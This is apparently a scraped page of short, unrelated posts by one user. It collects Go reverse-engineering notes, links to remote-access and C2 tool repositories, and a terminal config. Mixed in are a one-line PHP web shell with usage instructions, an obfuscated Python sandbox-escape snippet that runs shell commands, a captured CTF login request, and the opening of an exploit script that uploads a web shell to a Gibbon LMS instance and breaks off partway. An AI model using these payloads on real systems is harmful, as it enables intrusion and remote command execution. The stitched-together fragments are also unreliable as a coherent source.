sharpicx

Reverse Engineering Golang

Some notes, tools, and techniques for reverse engineering Golang binaries.

Table of Contents

• Go Reverse Engineering Tool Kit (go-re.tk)
• GoReSym
• Unsorted

sharpicx

sharpicx

EDIT : "[REPO] FORK" means that the source is no longer available > go FORK

https://github.com/DarkCoderSc/SubSeven

https://gitlab.com/KevinJClark/badrats

https://github.com/Ziconius/FudgeC2

https://github.com/ZHacker13/ReverseTCPShell

sharpicx

Reverse-Engineering-toolkit

• Reverse Engineering Resource Collection. 3500+ open source tools, 2300+ blog posts.

Directory

• Windows

sharpicx

After IDA Pro

This repo contains information about what to do after installing IDA Pro v8.3 and above.

UPDATE: The plugins I have curated here might had not updated/ported for IDA Pro v9.0. I am going to update this repo when a plugin is ready to get used in new ID pro v9. Stay tuned.

• ifred

sharpicx

[scrolling]
history = 10000
multiplier = 3

[colors]
draw_bold_text_with_bright_colors = true

[colors.primary]
background = "#000000"
foreground = "#ffffff"

sharpicx

Simple PHP Web Shell

Simple HTTP Requests GET Method Shell

<?=`$_GET[0]`?>

[*] Usage: http://target.com/path/to/shell.php?0=command

sharpicx

POST /api/auth HTTP/1.1
Host: cypher.htb
Content-Length: 303
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: */*
DNT: 1
Content-Type: application/json
Origin: http://cypher.htb
Referer: http://cypher.htb/login

sharpicx

g = run_code.__globals__
m = g["s"+"ys"].modules
o = m["o"+"s"]
p = getattr(o, "p"+"o"+"pen")
c = p("id")
for x in c: print(x)

sharpicx

import requests
import sys
import base64

TARGET = "http://frizzdc.frizz.htb"
UPLOAD_PATH = "/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php"
SHELL_PATH = "/Gibbon-LMS/modules/Rubrics/rscreenshot_123456890.php"
COOKIE = {'G60fa1cd0af7be78b': '1vka2pu1otv1l3nnj5m0uugdsv'}

def generate_payload(cmd_param='1'):